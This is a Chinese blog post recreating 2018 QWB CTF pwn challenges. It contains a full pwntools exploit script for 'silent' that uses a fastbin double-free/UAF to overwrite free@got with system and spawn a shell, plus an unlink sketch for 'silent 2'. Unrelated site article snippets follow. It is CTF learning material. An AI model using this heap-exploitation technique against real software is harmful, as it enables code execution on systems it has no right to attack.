news 2026/6/10 2:22:37

2018年强网杯pwn题复现

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
2018年强网杯pwn题复现

silent

漏洞位置:free后没有给指针置空,edit也没有检查chunk是否free

利用思路:利用uaf把chunk进入fastbin中,构造三个单链表来写free@got然后getshell
程序没有输出,这是一个难点,所以直接写
查表

objdump-d-j.plt silent//查pltobjdump-R silent//查got

在free@got上构造fake_chunk

frompwnimport*local=1iflocal:p=process('./silent')libc=ELF('./libc-2.23.so')else:p=remote('39.107.32.132',10000)#nc 39.107.32.132 10000libc=ELF('./libc-2.23.so')defalloc(size,content):p.sendline('1')p.sendline(str(size))p.sendline(str(content))defdelete(idx):p.sendline('2')p.sendline(str(idx))defedit(idx,content):p.sendline('3')p.sendline(str(idx))p.sendline(content)p.sendline('')elf=ELF('./silent')fake_chunk=0x601ffasystem_plt=0x400730alloc(0x50,aaaa)#0alloc(0x50,bbbb)#1alloc(0x50,cccc)#2delete(0)delete(1)delete(0)#fastbin->chunk0->chunk1->chunk0alloc(0x50,p64(fake_chunk))#fastbin->chunk1->chunk0->fake_chunkalloc(0x50,'bin/sh\x00')#fastbin->chunk0->fake_chunkalloc(0x50,aaaa)alloc(0x50,'a'*0xe+p64(system_plt))delete(1)p.interactive()

silent 2

漏洞位置:free后没有给指针置空,edit也没有检查chunk是否free

利用思路:不能像上一题一样用fastbin了,大体思路是,因为是partial relro,利用unlink修改malloc返回的数组指针为free_got,这样修改改数组时就是修改free_got

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/9 17:26:14

GLM-TTS采样方法对比:ras、greedy、topk三种模式实测

GLM-TTS采样方法对比:ras、greedy、topk三种模式实测 在语音合成系统日益“拟人化”的今天,我们早已不满足于“能说话”的机器音。从智能助手到虚拟偶像,用户期待的是富有情感、自然流畅、甚至带点个性的语音表达。而在这背后,真正…

作者头像 李华
网站建设 2026/6/9 17:26:10

GLM-TTS流式推理性能优化指南:25 tokens/sec稳定输出技巧

GLM-TTS流式推理性能优化指南:25 tokens/sec稳定输出技巧 在构建下一代语音交互系统时,一个关键挑战是如何让机器“说话”既快又自然。传统文本到语音(TTS)模型往往需要等待用户输入完整句子后才开始处理,这种“全有或…

作者头像 李华
网站建设 2026/6/9 17:25:23

语音合成+GPU售卖组合拳:用技术博客引导用户购买算力

语音合成与算力变现:如何用技术内容驱动GPU销售 在AI音频内容爆发的今天,越来越多的内容创作者开始追求“像人”的声音——不是机械朗读,而是带有情感、个性甚至熟悉语气的语音。一个教育平台希望用老师的声音录制千节课程;一家有…

作者头像 李华
网站建设 2026/6/9 1:11:13

GLM-TTS语音合成延迟优化方案:针对长文本的分段处理策略

GLM-TTS语音合成延迟优化方案:针对长文本的分段处理策略 在有声书、播客和AI虚拟主播日益普及的今天,用户对语音合成的要求早已从“能说话”转向“说得自然、流畅且即时”。然而,即便像GLM-TTS这样支持零样本克隆与情感迁移的先进模型&#x…

作者头像 李华
网站建设 2026/6/9 17:25:27

SpringBoot怎么学能快速达到应付面试水平?

Spring Boot不用多说,是咱们Java程序员必须熟练掌握的基本技能。工作上它让配置、代码编写、部署和监控都更简单,面试时互联网企业招聘对于Spring Boot这个系统开发的首选框架也是考察的比较严苛,如果你不是刚入行,只是停留在会用…

作者头像 李华
网站建设 2026/6/9 22:46:37

PHP扩展性能优化黄金法则(仅限内部流传的5大核心技术)

第一章:PHP 8.7 扩展开发环境搭建与核心架构解析 在 PHP 8.7 的扩展开发中,构建一个稳定且高效的开发环境是首要任务。该版本延续了现代 PHP 对 ZE3 引擎的深度优化,并引入更严格的类型检查机制与扩展 ABI 稳定性支持,为开发者提供…

作者头像 李华